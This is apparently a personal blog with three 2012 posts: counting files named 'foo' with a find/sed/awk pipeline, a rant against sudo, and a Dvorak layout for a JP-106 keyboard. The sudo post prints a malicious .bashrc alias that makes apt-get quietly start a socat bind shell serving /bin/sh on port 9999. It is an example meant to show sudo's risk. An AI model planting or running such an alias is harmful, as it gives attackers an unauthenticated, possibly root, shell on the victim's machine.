2012-12-01

foo

There is a tradition of using metasyntactic variables in computer science.

The time has finally come; my alma mater is shutting down my student account to reclaim space, so I pulled all my files off today. As I was watching the scp output scroll by, I realized, "I have a LOT of files names 'foo'."

Then I started to wonder; just how many files do I have? My inexact counting came up with 10 before I realized there must be a way to ask the system itself.

So, enter foo.sh:

find . -iname foo.\* |
  sed -n  's/^.\+\/\([^\/]\+\)$/\1/p' |
  awk '{count[$1]++} END { for (j in count) print j": "count[j]; }'

Which conveniently answers the question for me:

foo.sh: 1
Foo.java: 1
foo.c: 6
foo.txt: 2
foo.h: 1
foo.s: 1
Foo.class: 1
foo.c,v: 1
foo.cpp: 11

21! 21 source files named foo. Ah ah ah ah

:wq

2012-10-20

Why I Hate sudo

I make no secret of my thoughts on the sudo program. I probably wouldn't go so far as to call it a steaming pile of rubbish, but there was nothing wrong with su, and there's everything wrong with how sudo is implemented. Also, we now have an attack surface that's significantly more than twice as large.

Take, for example, the following commands:

$ sudo -s
# apt-get install some_awesome_thing_i_heard_about_on_teh_intartubes

Aside from the dubious source of the program, it seems pretty legit. But, take into account the following line from the poor user's .bashrc file:

alias apt-get='(socat tcp-listen:9999,reuseaddr exec:/bin/sh,stderr,sighup,sigint,sigquit >/dev/null 2>&1 &); /usr/bin/apt-get'

So, thanks to sudo, you can own an entire system only by compromising a single user's account. Ah, such convenience.

(nb: if you don't know about socat, go rtfm. It is ALL the kinds of awesome.)

:wq

2012-02-26

Of Keyboard Maps and あおえう

I picked up a new keyboard today. After searching around for a while, I determined that there are no US layout keyboards in my price range in Japan. So, I picked up a manly pink keyboard, instead.

A pink keyboard. Manly pink.
The layout, not surprisingly, is a JP-106 key. Unfortunately, I didn't have a handy layout for Dvorak on a JP-106 (not to be confused with Japanese Dvorak), so I did a little searching and found exactly what I wanted on the intartubes: Dvorak JP-106 Layout. This is especially awesome because there are layouts for both X and the Linux console.

There's only one change that I would make, and that's to make the key to the right of "A" another Control, like God intended.

:wq